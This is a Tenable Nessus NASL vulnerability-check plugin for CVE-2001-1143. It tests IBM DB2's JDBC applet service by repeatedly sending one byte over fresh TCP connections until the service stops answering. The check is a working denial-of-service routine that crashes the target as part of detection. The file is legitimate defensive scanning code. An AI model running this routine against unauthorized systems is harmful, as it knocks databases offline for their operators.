IBM DB2 Multiple CGI Single Byte Request Remote DoS

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10871);
  script_version("1.23");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2001-1143");
  script_bugtraq_id(3010);

  script_name(english:"IBM DB2 Multiple CGI Single Byte Request Remote DoS");

  script_set_attribute(attribute:"synopsis", value:
"The remote database service is affected by a denial of service
vulnerability.");
  script_set_attribute(attribute:"description", value:
"It was possible to crash the IBM DB2 database service by connecting
to the affected service and sending just one byte to it.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/Jul/189");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for a patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2001/07/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2002/03/06");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:db2");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Databases");

  script_copyright(english:"This script is Copyright (C) 2002-2022 Tenable Network Security, Inc.");

  script_dependencies("db2_jdbc_applet_server_detect.nasl");
  script_require_ports("Services/db2_jd");

  exit(0);
}

include("global_settings.inc");

function test_db2_port(port)
{
 local_var soc, i;

 if (! get_port_state(port))
  return(0);

 soc = open_sock_tcp(port);
 if (!soc)
  return(0);
 for (i=0; i<100; i=i+1)
 {
  send(socket:soc, data:string("x"));
  close(soc);

  soc = open_sock_tcp(port);
  if (! soc)
  {
   sleep(1);
   soc = open_sock_tcp(port);
   if (! soc)
   {
    security_warning(port);
    return (1);
   }
  }
 }
 close(soc);
 return(1);
}

port = get_kb_item("Services/db2_jd");
if (!port) exit(0);

test_db2_port(port:port);
if (report_paranoia > 1) test_db2_port(port:6790);